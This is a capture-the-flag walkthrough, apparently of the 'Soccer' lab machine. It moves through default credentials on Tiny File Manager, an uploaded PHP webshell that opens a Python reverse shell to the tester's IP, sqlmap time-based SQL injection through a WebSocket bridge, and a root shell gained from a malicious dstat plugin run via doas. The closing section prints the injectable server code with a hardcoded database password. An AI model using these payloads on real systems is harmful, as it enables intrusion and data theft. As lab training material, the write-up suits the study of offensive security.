The URL path /tiny/ leads us to the login page of a Tiny File Manager service.
We found the default credentials for the service in GitHub.
admin/admin@123
user/12345
We can then use this default credential to log into the service to manage the file uploading.
Initial Access
Reverse Shell
By inspecting the permissions, we see that we can upload files to the directory /tiny/uploads.
We then try to upload a PHP webshell with the following content to receive a revershell back by visiting the uploaded page in /tiny/uploads/bad.php.
<?php
if (isset($_GET['bad']))
system("python3 -c \"import socket,os,pty;s=socket.socket();s.connect(('<OUR_IP>',4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn('/bin/bash')\"");
?>
Another vHost
As we see in the HTTP response earlier, the site is built on Nginx. So the thing next to do when we got a reverse shell is to inspect the related configurations in /etc/nginx/.
We found another site soc-player.soccer.htb is enabled on the host.
The new vhost leads us to another site where we can view the game match, register a new user, or log in to view the tickets for the game match.
We see that the site will use WebSocket to communicate with the server.
By inspecting the source code, we see that the established WebSocket sends messages encoded in JSON {"id": "<message>"}:
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
SQL Injection
To test if any SQL injection vulnerability can be exploited via the WebSocket message automatically, we simply set up an Express app that will pass the received parameters to the target ws://soc-player.soccer.htb:9091 through WebSocket:
const express = require('express');
const app = express();
const port = 3000;
const { WebSocket } = require('ws');
app.get('/', (req, res) => {
const ws = new WebSocket('ws://soc-player.soccer.htb:9091');
msg = JSON.stringify(req.query);
console.log(msg);
ws.on('open', function open() {
ws.send(msg);
});
ws.on('message', function message(data) {
console.log('received: %s', data);
res.send(data);
});
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`);
})
We can then use sqlmap to test if SQL injection vulnerability exists.
$ sqlmap http://localhost:3000/?id=123
...
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=3500 AND (SELECT 1021 FROM (SELECT(SLEEP(5)))rWmV)
...
We dump the databases and find a databae soccer_db exists.
$ sqlmap http://localhost:3000/?id=123 --dbs
...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
...
By reviewing the related configuration /usr/local/etc/doas.conf, we see that the user player can run the Python script /usr/bin/dstat, a versatile tool for generating system resource statistics.
$ player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
dstat Plugin
User can add dstat plugin in a couple of places:
player@soccer:~$ man stat
...
FILES
Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
...
We then wrote a malicious dstat plugin in the path /usr/local/share/dstat.
/usr/local/share/dstat/dstat_rootme.py
import pty
pty.spawn('/bin/bash')
We can test if the plugin is installed via --list option:
player@soccer:~$ doas /usr/bin/dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,
socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
...
/usr/local/share/dstat:
rootme
We can invoke the plugin to get root now.
player@soccer:~$ doas /usr/bin/dstat --rootme
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)
Miscellaneous
Game Match Web App
The site soc-player.soccer.htb is built with express with ejs template engine in the path /root/app.
Ticket Server
The ticket check server is built by the Node.js packages express and ws in the script /root/app/server.js and we can see it clearly that the cause of the SQL injection :
const mysql = require('mysql');
const serv = require('ws');
const express = require('express');
const server = express().listen(9091, '0.0.0.0')
const socket = new serv.Server({ server });
const connection = mysql.createConnection({
host : "localhost",
user : "player",
password : 'PlayerOftheMatch2022',
port: 3306,
database : "soccer_db"
})
connection.connect();
socket.on('connection', ws=> {
ws.on('message', function incoming(data) {
try {
var id = JSON.parse(data).id;
} catch (e) {
//console.log(e);
}
(async () => {
try {
const query = `Select id,username,password FROM accounts where id = ${id}`;
await connection.query(query, function (error, results, fields) {
if (error) {
ws.send("Ticket Doesn't Exist");
} else {
if (results.length > 0) {
ws.send("Ticket Exists")
} else {
ws.send("Ticket Doesn't Exist")
}
}
});
} catch (error) {
ws.send("Error");
}
})()
});
});